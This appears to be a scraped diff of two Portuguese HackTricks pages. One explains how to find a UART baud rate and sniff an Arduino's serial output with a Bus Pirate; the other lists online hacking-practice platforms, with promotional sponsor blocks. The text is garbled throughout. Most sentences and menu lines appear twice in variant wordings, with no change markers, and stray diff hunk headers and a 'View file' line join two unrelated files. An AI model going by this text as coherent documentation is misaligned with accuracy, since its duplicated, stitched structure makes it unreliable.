Com um analisador lógico:
## Identificando a Taxa de Baud UART
## Identificando a Taxa de Baud do UART
A maneira mais fácil de identificar a taxa de baud correta é olhar a saída do pino **TX e tentar ler os dados**. Se os dados que você receber não forem legíveis, mude para a próxima taxa de baud possível até que os dados se tornem legíveis. Você pode usar um adaptador USB-serial ou um dispositivo multipropósito como o Bus Pirate para fazer isso, emparelhado com um script auxiliar, como [baudrate.py](https://github.com/devttys0/baudrate/). As taxas de baud mais comuns são 9600, 38400, 19200, 57600 e 115200.
A maneira mais fácil de identificar a taxa de baud correta é olhar para a **saída do pino TX e tentar ler os dados**. Se os dados recebidos não forem legíveis, mude para a próxima taxa de baud possível até que os dados se tornem legíveis. Você pode usar um adaptador USB-para-serial ou um dispositivo multipropósito como o Bus Pirate para fazer isso, emparelhado com um script auxiliar, como [baudrate.py](https://github.com/devttys0/baudrate/). As taxas de baud mais comuns são 9600, 38400, 19200, 57600 e 115200.
{% hint style="danger" %}
É importante observar que, neste protocolo, você precisa conectar o TX de um dispositivo ao RX do outro!
É importante notar que neste protocolo você precisa conectar o TX de um dispositivo ao RX do outro!
{% endhint %}
# Bus Pirate
Neste cenário, vamos capturar a comunicação UART do Arduino que está enviando todas as impressões do programa para o Monitor Serial.
Neste cenário, vamos monitorar a comunicação UART do Arduino que está enviando todas as impressões do programa para o Monitor Serial.
```bash
# Check the modes
UART>m
@ -59,39 +74,39 @@ x. exit(without change)
# Select UART
(1)>3
Set serial port speed: (bps)
1. 300
2. 1200
3. 2400
4. 4800
5. 9600
6. 19200
7. 38400
8. 57600
9. 115200
1. 300
2. 1200
3. 2400
4. 4800
5. 9600
6. 19200
7. 38400
8. 57600
9. 115200
10. BRG raw value
# Select the speed the communication is occurring on (you BF all this until you find readable things)
# Or you could later use the macro (4) to try to find the speed
(1)>5
Data bits and parity:
1. 8, NONE *default
2. 8, EVEN
3. 8, ODD
4. 9, NONE
# From now on pulse enter for default
1. 8, NONE *default
2. 8, EVEN
3. 8, ODD
4. 9, NONE
# From now on pulse enter for default
(1)>
Stop bits:
1. 1 *default
2. 2
1. 1 *default
2. 2
(1)>
Receive polarity:
1. Idle 1 *default
2. Idle 0
1. Idle 1 *default
2. Idle 0
(1)>
Select output type:
1. Open drain (H=Hi-Z, L=GND)
2. Normal (H=3.3V, L=GND)
1. Open drain (H=Hi-Z, L=GND)
2. Normal (H=3.3V, L=GND)
(1)>
Clutch disengaged!!!
@ -113,16 +128,14 @@ waiting a few secs to repeat....
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,10 +1,25 @@
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Aprendendo na Prática
## [https://www.hackthebox.eu/](https://www.hackthebox.eu) & [https://academy.hackthebox.eu/catalogue](https://academy.hackthebox.eu/catalogue)
Hackthebox tem máquinas online para hackear, é o melhor lugar para aprender na prática. Se você é novo, eu recomendaria aprender fazendo máquinas aposentadas seguindo os vídeos do Ippsec.
Hackthebox possui máquinas online para hackear, é o melhor lugar para aprender praticando. Se você é iniciante, recomendo aprender fazendo máquinas aposentadas seguindo os vídeos do Ippsec.
A academia do HackTheBox é a nova plataforma para aprender hacking de uma maneira mais guiada, também é um ótimo recurso se você quiser praticar hackeando alguma tecnologia específica!
A academia HackTheBox é a nova plataforma para aprender hacking de uma forma mais guiada, também é um ótimo recurso se você quer praticar hacking em alguma tecnologia específica!
## [https://tryhackme.com/](https://tryhackme.com)
@ -16,15 +31,15 @@ Rootme é outra página para máquinas virtuais hospedadas online para hackear.
## [https://www.vulnhub.com/](https://www.vulnhub.com)
Vulnhub tem máquinas para baixar e depois hackear.
Vulnhub tem máquinas para baixar e depois hackear
## [https://hack.me/](https://hack.me)
Este site parece ser uma plataforma comunitária.
Este site parece ser uma plataforma comunitária
## [https://www.hacker101.com/](https://www.hacker101.com)
Site gratuito com vídeos e CTFs.
site gratuito com vídeos e CTFs
## [https://crackmes.one/](https://crackmes.one)
@ -35,22 +50,19 @@ Este site tem muitos binários para aprendizado forense.
## [https://attackdefense.com/](https://attackdefense.com)
## [https://portswigger.net/web-security/dashboard](https://portswigger.net/web-security/dashboard)
Este site tem muitos laboratórios de exploração web.
Este site tem muitos laboratórios de exploração web
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>